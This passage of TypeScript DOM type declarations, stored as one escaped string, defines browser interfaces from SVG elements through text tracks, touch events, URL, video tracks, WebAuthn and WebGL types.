SVGGraphicsElement {\\n    readonly height: SVGAnimatedLength;\\n    readonly rx: SVGAnimatedLength;\\n    readonly ry: SVGAnimatedLength;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGRectElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGRectElement: {\\n    prototype: SVGRectElement;\\n    new(): SVGRectElement;\\n};\\n\\ninterface SVGScriptElement extends SVGElement, SVGURIReference {\\n    type: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGScriptElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGScriptElement: {\\n    prototype: SVGScriptElement;\\n    new(): SVGScriptElement;\\n};\\n\\ninterface SVGStopElement extends SVGElement {\\n    readonly offset: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGStopElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGStopElement: {\\n    prototype: SVGStopElement;\\n    new(): SVGStopElement;\\n};\\n\\ninterface SVGStringList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: string): string;\\n    clear(): void;\\n    getItem(index: number): string;\\n    initialize(newItem: string): string;\\n    insertItemBefore(newItem: string, index: number): string;\\n    removeItem(index: number): string;\\n    replaceItem(newItem: string, index: number): string;\\n}\\n\\ndeclare var SVGStringList: {\\n    prototype: SVGStringList;\\n    new(): SVGStringList;\\n};\\n\\ninterface SVGStyleElement extends SVGElement {\\n    disabled: boolean;\\n    media: string;\\n    title: string;\\n    type: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGStyleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGStyleElement: {\\n    prototype: SVGStyleElement;\\n    new(): SVGStyleElement;\\n};\\n\\ninterface SVGSVGElementEventMap extends SVGElementEventMap {\\n    \"SVGAbort\": Event;\\n    \"SVGError\": Event;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"SVGUnload\": Event;\\n    \"SVGZoom\": SVGZoomEvent;\\n}\\n\\ninterface SVGSVGElement extends SVGGraphicsElement, DocumentEvent, SVGFitToViewBox, SVGZoomAndPan {\\n    contentScriptType: string;\\n    contentStyleType: string;\\n    currentScale: number;\\n    readonly currentTranslate: SVGPoint;\\n    readonly height: SVGAnimatedLength;\\n    onabort: (this: SVGSVGElement, ev: Event) => any;\\n    onerror: (this: SVGSVGElement, ev: Event) => any;\\n    onresize: (this: SVGSVGElement, ev: UIEvent) => any;\\n    onscroll: (this: SVGSVGElement, ev: UIEvent) => any;\\n    onunload: (this: SVGSVGElement, ev: Event) => any;\\n    onzoom: (this: SVGSVGElement, ev: SVGZoomEvent) => any;\\n    readonly pixelUnitToMillimeterX: number;\\n    readonly pixelUnitToMillimeterY: number;\\n    readonly screenPixelToMillimeterX: number;\\n    readonly screenPixelToMillimeterY: number;\\n    readonly viewport: SVGRect;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    checkEnclosure(element: SVGElement, rect: SVGRect): boolean;\\n    checkIntersection(element: SVGElement, rect: SVGRect): boolean;\\n    createSVGAngle(): SVGAngle;\\n    createSVGLength(): SVGLength;\\n    createSVGMatrix(): SVGMatrix;\\n    createSVGNumber(): SVGNumber;\\n    createSVGPoint(): SVGPoint;\\n    createSVGRect(): SVGRect;\\n    createSVGTransform(): SVGTransform;\\n    createSVGTransformFromMatrix(matrix: SVGMatrix): SVGTransform;\\n    deselectAll(): void;\\n    forceRedraw(): void;\\n    getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\n    getCurrentTime(): number;\\n    getElementById(elementId: string): Element;\\n    getEnclosureList(rect: SVGRect, referenceElement: SVGElement): NodeListOf<SVGCircleElement | SVGEllipseElement | SVGImageElement | SVGLineElement | SVGPathElement | SVGPolygonElement | SVGPolylineElement | SVGRectElement | SVGTextElement | SVGUseElement>;\\n    getIntersectionList(rect: SVGRect, referenceElement: SVGElement): NodeListOf<SVGCircleElement | SVGEllipseElement | SVGImageElement | SVGLineElement | SVGPathElement | SVGPolygonElement | SVGPolylineElement | SVGRectElement | SVGTextElement | SVGUseElement>;\\n    pauseAnimations(): void;\\n    setCurrentTime(seconds: number): void;\\n    suspendRedraw(maxWaitMilliseconds: number): number;\\n    unpauseAnimations(): void;\\n    unsuspendRedraw(suspendHandleID: number): void;\\n    unsuspendRedrawAll(): void;\\n    addEventListener<K extends keyof SVGSVGElementEventMap>(type: K, listener: (this: SVGSVGElement, ev: SVGSVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSVGElement: {\\n    prototype: SVGSVGElement;\\n    new(): SVGSVGElement;\\n};\\n\\ninterface SVGSwitchElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGSwitchElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSwitchElement: {\\n    prototype: SVGSwitchElement;\\n    new(): SVGSwitchElement;\\n};\\n\\ninterface SVGSymbolElement extends SVGElement, SVGFitToViewBox {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGSymbolElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGSymbolElement: {\\n    prototype: SVGSymbolElement;\\n    new(): SVGSymbolElement;\\n};\\n\\ninterface SVGTextContentElement extends SVGGraphicsElement {\\n    readonly lengthAdjust: SVGAnimatedEnumeration;\\n    readonly textLength: SVGAnimatedLength;\\n    getCharNumAtPosition(point: SVGPoint): number;\\n    getComputedTextLength(): number;\\n    getEndPositionOfChar(charnum: number): SVGPoint;\\n    getExtentOfChar(charnum: number): SVGRect;\\n    getNumberOfChars(): number;\\n    getRotationOfChar(charnum: number): number;\\n    getStartPositionOfChar(charnum: number): SVGPoint;\\n    getSubStringLength(charnum: number, nchars: number): number;\\n    selectSubString(charnum: number, nchars: number): void;\\n    readonly LENGTHADJUST_SPACING: number;\\n    readonly LENGTHADJUST_SPACINGANDGLYPHS: number;\\n    readonly LENGTHADJUST_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextContentElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextContentElement: {\\n    prototype: SVGTextContentElement;\\n    new(): SVGTextContentElement;\\n    readonly LENGTHADJUST_SPACING: number;\\n    readonly LENGTHADJUST_SPACINGANDGLYPHS: number;\\n    readonly LENGTHADJUST_UNKNOWN: number;\\n};\\n\\ninterface SVGTextElement extends SVGTextPositioningElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextElement: {\\n    prototype: SVGTextElement;\\n    new(): SVGTextElement;\\n};\\n\\ninterface SVGTextPathElement extends SVGTextContentElement, SVGURIReference {\\n    readonly method: SVGAnimatedEnumeration;\\n    readonly spacing: SVGAnimatedEnumeration;\\n    readonly startOffset: SVGAnimatedLength;\\n    readonly TEXTPATH_METHODTYPE_ALIGN: number;\\n    readonly TEXTPATH_METHODTYPE_STRETCH: number;\\n    readonly TEXTPATH_METHODTYPE_UNKNOWN: number;\\n    readonly TEXTPATH_SPACINGTYPE_AUTO: number;\\n    readonly TEXTPATH_SPACINGTYPE_EXACT: number;\\n    readonly TEXTPATH_SPACINGTYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextPathElement: {\\n    prototype: SVGTextPathElement;\\n    new(): SVGTextPathElement;\\n    readonly TEXTPATH_METHODTYPE_ALIGN: number;\\n    readonly TEXTPATH_METHODTYPE_STRETCH: number;\\n    readonly TEXTPATH_METHODTYPE_UNKNOWN: number;\\n    readonly TEXTPATH_SPACINGTYPE_AUTO: number;\\n    readonly TEXTPATH_SPACINGTYPE_EXACT: number;\\n    readonly TEXTPATH_SPACINGTYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGTextPositioningElement extends SVGTextContentElement {\\n    readonly dx: SVGAnimatedLengthList;\\n    readonly dy: SVGAnimatedLengthList;\\n    readonly rotate: SVGAnimatedNumberList;\\n    readonly x: SVGAnimatedLengthList;\\n    readonly y: SVGAnimatedLengthList;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTextPositioningElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTextPositioningElement: {\\n    prototype: SVGTextPositioningElement;\\n    new(): SVGTextPositioningElement;\\n};\\n\\ninterface SVGTitleElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTitleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTitleElement: {\\n    prototype: SVGTitleElement;\\n    new(): SVGTitleElement;\\n};\\n\\ninterface SVGTransform {\\n    readonly angle: number;\\n    readonly matrix: SVGMatrix;\\n    readonly type: number;\\n    setMatrix(matrix: SVGMatrix): void;\\n    setRotate(angle: number, cx: number, cy: number): void;\\n    setScale(sx: number, sy: number): void;\\n    setSkewX(angle: number): void;\\n    setSkewY(angle: number): void;\\n    setTranslate(tx: number, ty: number): void;\\n    readonly SVG_TRANSFORM_MATRIX: number;\\n    readonly SVG_TRANSFORM_ROTATE: number;\\n    readonly SVG_TRANSFORM_SCALE: number;\\n    readonly SVG_TRANSFORM_SKEWX: number;\\n    readonly SVG_TRANSFORM_SKEWY: number;\\n    readonly SVG_TRANSFORM_TRANSLATE: number;\\n    readonly SVG_TRANSFORM_UNKNOWN: number;\\n}\\n\\ndeclare var SVGTransform: {\\n    prototype: SVGTransform;\\n    new(): SVGTransform;\\n    readonly SVG_TRANSFORM_MATRIX: number;\\n    readonly SVG_TRANSFORM_ROTATE: number;\\n    readonly SVG_TRANSFORM_SCALE: number;\\n    readonly SVG_TRANSFORM_SKEWX: number;\\n    readonly SVG_TRANSFORM_SKEWY: number;\\n    readonly SVG_TRANSFORM_TRANSLATE: number;\\n    readonly SVG_TRANSFORM_UNKNOWN: number;\\n};\\n\\ninterface SVGTransformList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGTransform): SVGTransform;\\n    clear(): void;\\n    consolidate(): SVGTransform;\\n    createSVGTransformFromMatrix(matrix: SVGMatrix): SVGTransform;\\n    getItem(index: number): SVGTransform;\\n    initialize(newItem: SVGTransform): SVGTransform;\\n    insertItemBefore(newItem: SVGTransform, index: number): SVGTransform;\\n    removeItem(index: number): SVGTransform;\\n    replaceItem(newItem: SVGTransform, index: number): SVGTransform;\\n}\\n\\ndeclare var SVGTransformList: {\\n    prototype: SVGTransformList;\\n    new(): SVGTransformList;\\n};\\n\\ninterface SVGTSpanElement extends SVGTextPositioningElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTSpanElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTSpanElement: {\\n    prototype: SVGTSpanElement;\\n    new(): SVGTSpanElement;\\n};\\n\\ninterface SVGUnitTypes {\\n    readonly SVG_UNIT_TYPE_OBJECTBOUNDINGBOX: number;\\n    readonly SVG_UNIT_TYPE_UNKNOWN: number;\\n    readonly SVG_UNIT_TYPE_USERSPACEONUSE: number;\\n}\\ndeclare var SVGUnitTypes: SVGUnitTypes;\\n\\ninterface SVGUseElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly animatedInstanceRoot: SVGElementInstance;\\n    readonly height: SVGAnimatedLength;\\n    readonly instanceRoot: SVGElementInstance;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGUseElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGUseElement: {\\n    prototype: SVGUseElement;\\n    new(): SVGUseElement;\\n};\\n\\ninterface SVGViewElement extends SVGElement, SVGZoomAndPan, SVGFitToViewBox {\\n    readonly viewTarget: SVGStringList;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGViewElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGViewElement: {\\n    prototype: SVGViewElement;\\n    new(): SVGViewElement;\\n};\\n\\ninterface SVGZoomAndPan {\\n    readonly zoomAndPan: number;\\n}\\n\\ndeclare var SVGZoomAndPan: {\\n    readonly SVG_ZOOMANDPAN_DISABLE: number;\\n    readonly SVG_ZOOMANDPAN_MAGNIFY: number;\\n    readonly SVG_ZOOMANDPAN_UNKNOWN: number;\\n};\\n\\ninterface SVGZoomEvent extends UIEvent {\\n    readonly newScale: number;\\n    readonly newTranslate: SVGPoint;\\n    readonly previousScale: number;\\n    readonly previousTranslate: SVGPoint;\\n    readonly zoomRectScreen: SVGRect;\\n}\\n\\ndeclare var SVGZoomEvent: {\\n    prototype: SVGZoomEvent;\\n    new(): SVGZoomEvent;\\n};\\n\\ninterface SyncManager {\\n    getTags(): any;\\n    register(tag: string): Promise<void>;\\n}\\n\\ndeclare var SyncManager: {\\n    prototype: SyncManager;\\n    new(): SyncManager;\\n};\\n\\ninterface Text extends CharacterData {\\n    readonly wholeText: string;\\n    readonly assignedSlot: HTMLSlotElement | null;\\n    splitText(offset: number): Text;\\n}\\n\\ndeclare var Text: {\\n    prototype: Text;\\n    new(data?: string): Text;\\n};\\n\\ninterface TextEvent extends UIEvent {\\n    readonly data: string;\\n    readonly inputMethod: number;\\n    readonly locale: string;\\n    initTextEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, dataArg: string, inputMethod: number, locale: string): void;\\n    readonly DOM_INPUT_METHOD_DROP: number;\\n    readonly DOM_INPUT_METHOD_HANDWRITING: number;\\n    readonly DOM_INPUT_METHOD_IME: number;\\n    readonly DOM_INPUT_METHOD_KEYBOARD: number;\\n    readonly DOM_INPUT_METHOD_MULTIMODAL: number;\\n    readonly DOM_INPUT_METHOD_OPTION: number;\\n    readonly DOM_INPUT_METHOD_PASTE: number;\\n    readonly DOM_INPUT_METHOD_SCRIPT: number;\\n    readonly DOM_INPUT_METHOD_UNKNOWN: number;\\n    readonly DOM_INPUT_METHOD_VOICE: number;\\n}\\n\\ndeclare var TextEvent: {\\n    prototype: TextEvent;\\n    new(): TextEvent;\\n    readonly DOM_INPUT_METHOD_DROP: number;\\n    readonly DOM_INPUT_METHOD_HANDWRITING: number;\\n    readonly DOM_INPUT_METHOD_IME: number;\\n    readonly DOM_INPUT_METHOD_KEYBOARD: number;\\n    readonly DOM_INPUT_METHOD_MULTIMODAL: number;\\n    readonly DOM_INPUT_METHOD_OPTION: number;\\n    readonly DOM_INPUT_METHOD_PASTE: number;\\n    readonly DOM_INPUT_METHOD_SCRIPT: number;\\n    readonly DOM_INPUT_METHOD_UNKNOWN: number;\\n    readonly DOM_INPUT_METHOD_VOICE: number;\\n};\\n\\ninterface TextMetrics {\\n    readonly width: number;\\n}\\n\\ndeclare var TextMetrics: {\\n    prototype: TextMetrics;\\n    new(): TextMetrics;\\n};\\n\\ninterface TextTrackEventMap {\\n    \"cuechange\": Event;\\n    \"error\": Event;\\n    \"load\": Event;\\n}\\n\\ninterface TextTrack extends EventTarget {\\n    readonly activeCues: TextTrackCueList;\\n    readonly cues: TextTrackCueList;\\n    readonly inBandMetadataTrackDispatchType: string;\\n    readonly kind: string;\\n    readonly label: string;\\n    readonly language: string;\\n    mode: any;\\n    oncuechange: (this: TextTrack, ev: Event) => any;\\n    onerror: (this: TextTrack, ev: Event) => any;\\n    onload: (this: TextTrack, ev: Event) => any;\\n    readonly readyState: number;\\n    addCue(cue: TextTrackCue): void;\\n    removeCue(cue: TextTrackCue): void;\\n    readonly DISABLED: number;\\n    readonly ERROR: number;\\n    readonly HIDDEN: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    readonly SHOWING: number;\\n    addEventListener<K extends keyof TextTrackEventMap>(type: K, listener: (this: TextTrack, ev: TextTrackEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var TextTrack: {\\n    prototype: TextTrack;\\n    new(): TextTrack;\\n    readonly DISABLED: number;\\n    readonly ERROR: number;\\n    readonly HIDDEN: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    readonly SHOWING: number;\\n};\\n\\ninterface TextTrackCueEventMap {\\n    \"enter\": Event;\\n    \"exit\": Event;\\n}\\n\\ninterface TextTrackCue extends EventTarget {\\n    endTime: number;\\n    id: string;\\n    onenter: (this: TextTrackCue, ev: Event) => any;\\n    onexit: (this: TextTrackCue, ev: Event) => any;\\n    pauseOnExit: boolean;\\n    startTime: number;\\n    text: string;\\n    readonly track: TextTrack;\\n    getCueAsHTML(): DocumentFragment;\\n    addEventListener<K extends keyof TextTrackCueEventMap>(type: K, listener: (this: TextTrackCue, ev: TextTrackCueEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var TextTrackCue: {\\n    prototype: TextTrackCue;\\n    new(startTime: number, endTime: number, text: string): TextTrackCue;\\n};\\n\\ninterface TextTrackCueList {\\n    readonly length: number;\\n    getCueById(id: string): TextTrackCue;\\n    item(index: number): TextTrackCue;\\n    [index: number]: TextTrackCue;\\n}\\n\\ndeclare var TextTrackCueList: {\\n    prototype: TextTrackCueList;\\n    new(): TextTrackCueList;\\n};\\n\\ninterface TextTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n}\\n\\ninterface TextTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: ((this: TextTrackList, ev: TrackEvent) => any) | null;\\n    item(index: number): TextTrack;\\n    addEventListener<K extends keyof TextTrackListEventMap>(type: K, listener: (this: TextTrackList, ev: TextTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: TextTrack;\\n}\\n\\ndeclare var TextTrackList: {\\n    prototype: TextTrackList;\\n    new(): TextTrackList;\\n};\\n\\ninterface TimeRanges {\\n    readonly length: number;\\n    end(index: number): number;\\n    start(index: number): number;\\n}\\n\\ndeclare var TimeRanges: {\\n    prototype: TimeRanges;\\n    new(): TimeRanges;\\n};\\n\\ninterface Touch {\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly identifier: number;\\n    readonly pageX: number;\\n    readonly pageY: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly target: EventTarget;\\n}\\n\\ndeclare var Touch: {\\n    prototype: Touch;\\n    new(): Touch;\\n};\\n\\ninterface TouchEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly changedTouches: TouchList;\\n    readonly charCode: number;\\n    readonly ctrlKey: boolean;\\n    readonly keyCode: number;\\n    readonly metaKey: boolean;\\n    readonly shiftKey: boolean;\\n    readonly targetTouches: TouchList;\\n    readonly touches: TouchList;\\n    readonly which: number;\\n}\\n\\ndeclare var TouchEvent: {\\n    prototype: TouchEvent;\\n    new(type: string, touchEventInit?: TouchEventInit): TouchEvent;\\n};\\n\\ninterface TouchList {\\n    readonly length: number;\\n    item(index: number): Touch | null;\\n    [index: number]: Touch;\\n}\\n\\ndeclare var TouchList: {\\n    prototype: TouchList;\\n    new(): TouchList;\\n};\\n\\ninterface TrackEvent extends Event {\\n    readonly track: VideoTrack | AudioTrack | TextTrack | null;\\n}\\n\\ndeclare var TrackEvent: {\\n    prototype: TrackEvent;\\n    new(typeArg: string, eventInitDict?: TrackEventInit): TrackEvent;\\n};\\n\\ninterface TransitionEvent extends Event {\\n    readonly elapsedTime: number;\\n    readonly propertyName: string;\\n    initTransitionEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, propertyNameArg: string, elapsedTimeArg: number): void;\\n}\\n\\ndeclare var TransitionEvent: {\\n    prototype: TransitionEvent;\\n    new(typeArg: string, eventInitDict?: TransitionEventInit): TransitionEvent;\\n};\\n\\ninterface TreeWalker {\\n    currentNode: Node;\\n    readonly expandEntityReferences: boolean;\\n    readonly filter: NodeFilter;\\n    readonly root: Node;\\n    readonly whatToShow: number;\\n    firstChild(): Node;\\n    lastChild(): Node;\\n    nextNode(): Node;\\n    nextSibling(): Node;\\n    parentNode(): Node;\\n    previousNode(): Node;\\n    previousSibling(): Node;\\n}\\n\\ndeclare var TreeWalker: {\\n    prototype: TreeWalker;\\n    new(): TreeWalker;\\n};\\n\\ninterface UIEvent extends Event {\\n    readonly detail: number;\\n    readonly view: Window;\\n    initUIEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number): void;\\n}\\n\\ndeclare var UIEvent: {\\n    prototype: UIEvent;\\n    new(typeArg: string, eventInitDict?: UIEventInit): UIEvent;\\n};\\n\\ninterface UnviewableContentIdentifiedEvent extends NavigationEventWithReferrer {\\n    readonly mediaType: string;\\n}\\n\\ndeclare var UnviewableContentIdentifiedEvent: {\\n    prototype: UnviewableContentIdentifiedEvent;\\n    new(): UnviewableContentIdentifiedEvent;\\n};\\n\\ninterface URL {\\n    hash: string;\\n    host: string;\\n    hostname: string;\\n    href: string;\\n    readonly origin: string;\\n    password: string;\\n    pathname: string;\\n    port: string;\\n    protocol: string;\\n    search: string;\\n    username: string;\\n    readonly searchParams: URLSearchParams;\\n    toString(): string;\\n}\\n\\ndeclare var URL: {\\n    prototype: URL;\\n    new(url: string, base?: string): URL;\\n    createObjectURL(object: any, options?: ObjectURLOptions): string;\\n    revokeObjectURL(url: string): void;\\n};\\n\\ninterface ValidityState {\\n    readonly badInput: boolean;\\n    readonly customError: boolean;\\n    readonly patternMismatch: boolean;\\n    readonly rangeOverflow: boolean;\\n    readonly rangeUnderflow: boolean;\\n    readonly stepMismatch: boolean;\\n    readonly tooLong: boolean;\\n    readonly typeMismatch: boolean;\\n    readonly valid: boolean;\\n    readonly valueMissing: boolean;\\n}\\n\\ndeclare var ValidityState: {\\n    prototype: ValidityState;\\n    new(): ValidityState;\\n};\\n\\ninterface VideoPlaybackQuality {\\n    readonly corruptedVideoFrames: number;\\n    readonly creationTime: number;\\n    readonly droppedVideoFrames: number;\\n    readonly totalFrameDelay: number;\\n    readonly totalVideoFrames: number;\\n}\\n\\ndeclare var VideoPlaybackQuality: {\\n    prototype: VideoPlaybackQuality;\\n    new(): VideoPlaybackQuality;\\n};\\n\\ninterface VideoTrack {\\n    readonly id: string;\\n    kind: string;\\n    readonly label: string;\\n    language: string;\\n    selected: boolean;\\n    readonly sourceBuffer: SourceBuffer;\\n}\\n\\ndeclare var VideoTrack: {\\n    prototype: VideoTrack;\\n    new(): VideoTrack;\\n};\\n\\ninterface VideoTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n    \"change\": Event;\\n    \"removetrack\": TrackEvent;\\n}\\n\\ninterface VideoTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: (this: VideoTrackList, ev: TrackEvent) => any;\\n    onchange: (this: VideoTrackList, ev: Event) => any;\\n    onremovetrack: (this: VideoTrackList, ev: TrackEvent) => any;\\n    readonly selectedIndex: number;\\n    getTrackById(id: string): VideoTrack | null;\\n    item(index: number): VideoTrack;\\n    addEventListener<K extends keyof VideoTrackListEventMap>(type: K, listener: (this: VideoTrackList, ev: VideoTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: VideoTrack;\\n}\\n\\ndeclare var VideoTrackList: {\\n    prototype: VideoTrackList;\\n    new(): VideoTrackList;\\n};\\n\\ninterface WaveShaperNode extends AudioNode {\\n    curve: Float32Array | null;\\n    oversample: OverSampleType;\\n}\\n\\ndeclare var WaveShaperNode: {\\n    prototype: WaveShaperNode;\\n    new(): WaveShaperNode;\\n};\\n\\ninterface WebAuthentication {\\n    getAssertion(assertionChallenge: any, options?: AssertionOptions): Promise<WebAuthnAssertion>;\\n    makeCredential(accountInformation: Account, cryptoParameters: ScopedCredentialParameters[], attestationChallenge: any, options?: ScopedCredentialOptions): Promise<ScopedCredentialInfo>;\\n}\\n\\ndeclare var WebAuthentication: {\\n    prototype: WebAuthentication;\\n    new(): WebAuthentication;\\n};\\n\\ninterface WebAuthnAssertion {\\n    readonly authenticatorData: ArrayBuffer;\\n    readonly clientData: ArrayBuffer;\\n    readonly credential: ScopedCredential;\\n    readonly signature: ArrayBuffer;\\n}\\n\\ndeclare var WebAuthnAssertion: {\\n    prototype: WebAuthnAssertion;\\n    new(): WebAuthnAssertion;\\n};\\n\\ninterface WEBGL_compressed_texture_s3tc {\\n    readonly COMPRESSED_RGB_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT3_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT5_EXT: number;\\n}\\n\\ndeclare var WEBGL_compressed_texture_s3tc: {\\n    prototype: WEBGL_compressed_texture_s3tc;\\n    new(): WEBGL_compressed_texture_s3tc;\\n    readonly COMPRESSED_RGB_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT3_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT5_EXT: number;\\n};\\n\\ninterface WEBGL_debug_renderer_info {\\n    readonly UNMASKED_RENDERER_WEBGL: number;\\n    readonly UNMASKED_VENDOR_WEBGL: number;\\n}\\n\\ndeclare var WEBGL_debug_renderer_info: {\\n    prototype: WEBGL_debug_renderer_info;\\n    new(): WEBGL_debug_renderer_info;\\n    readonly UNMASKED_RENDERER_WEBGL: number;\\n    readonly UNMASKED_VENDOR_WEBGL: number;\\n};\\n\\ninterface WEBGL_depth_texture {\\n    readonly UNSIGNED_INT_24_8_WEBGL: number;\\n}\\n\\ndeclare var WEBGL_depth_texture: {\\n    prototype: WEBGL_depth_texture;\\n    new(): WEBGL_depth_texture;\\n    readonly UNSIGNED_INT_24_8_WEBGL: number;\\n};\\n\\ninterface WebGLActiveInfo {\\n    readonly name: string;\\n    readonly size: number;\\n    readonly type: number;\\n}\\n\\ndeclare var WebGLActiveInfo: {\\n    prototype: WebGLActiveInfo;\\n    new(): WebGLActiveInfo;\\n};\\n\\ninterface WebGLBuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLBuffer: {\\n    prototype: WebGLBuffer;\\n    new(): WebGLBuffer;\\n};\\n\\ninterface WebGLContextEvent extends Event {\\n    readonly statusMessage: string;\\n}\\n\\ndeclare var WebGLContextEvent: {\\n    prototype: WebGLContextEvent;\\n    new(typeArg: string, eventInitDict?: WebGLContextEventInit): WebGLContextEvent;\\n};\\n\\ninterface WebGLFramebuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLFramebuffer: {\\n    prototype: WebGLFramebuffer;\\n    new(): WebGLFramebuffer;\\n};\\n\\ninterface WebGLObject {\\n}\\n\\ndeclare var WebGLObject: {\\n    prototype: WebGLObject;\\n    new(): WebGLObject;\\n};\\n\\ninterface WebGLProgram extends WebGLObject {\\n}\\n\\ndeclare var WebGLProgram: {\\n    prototype: WebGLProgram;\\n    new(): WebGLProgram;\\n};\\n\\ninterface WebGLRenderbuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLRenderbuffer: {\\n    prototype: WebGLRenderbuffer;\\n    new(): WebGLRenderbuffer;\\n};\\n\\ninterface WebGLRenderingContext {\\n    readonly canvas: HTMLCanvasElement;\\n    readonly drawingBufferHeight: number;\\n    readonly 